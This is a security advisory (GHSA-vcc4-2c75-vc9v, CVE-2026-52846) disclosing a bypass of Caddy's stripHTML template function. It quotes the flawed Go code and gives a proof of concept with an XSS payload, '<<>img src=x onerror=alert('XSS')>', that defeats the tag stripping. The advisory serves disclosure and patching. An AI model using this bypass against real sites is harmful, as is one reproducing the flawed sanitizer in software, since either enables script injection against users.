GHSA-vcc4-2c75-vc9v

Suggest an improvement
Source
https://github.com/advisories/GHSA-vcc4-2c75-vc9v
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-vcc4-2c75-vc9v/GHSA-vcc4-2c75-vc9v.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-vcc4-2c75-vc9v
Aliases
  • CVE-2026-52846
Downstream
Published
2026-06-16T21:28:55Z
Modified
2026-06-16T21:45:22.218345366Z
Severity
  • 4.2 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
Summary
Caddy: stripHTML template function bypass
Details

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.


Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>


<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T21:28:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-116"
    ]
}
References

Affected packages

Go / github.com/caddyserver/caddy/v2

Package

Name
github.com/caddyserver/caddy/v2
View open source insights on deps.dev
Purl
pkg:golang/github.com/caddyserver/caddy/v2

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.11.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-vcc4-2c75-vc9v/GHSA-vcc4-2c75-vc9v.json"
last_known_affected_version_range
"<= 2.11.3"

Go / github.com/caddyserver/caddy

Package

Name
github.com/caddyserver/caddy
View open source insights on deps.dev
Purl
pkg:golang/github.com/caddyserver/caddy

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
1.0.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-vcc4-2c75-vc9v/GHSA-vcc4-2c75-vc9v.json"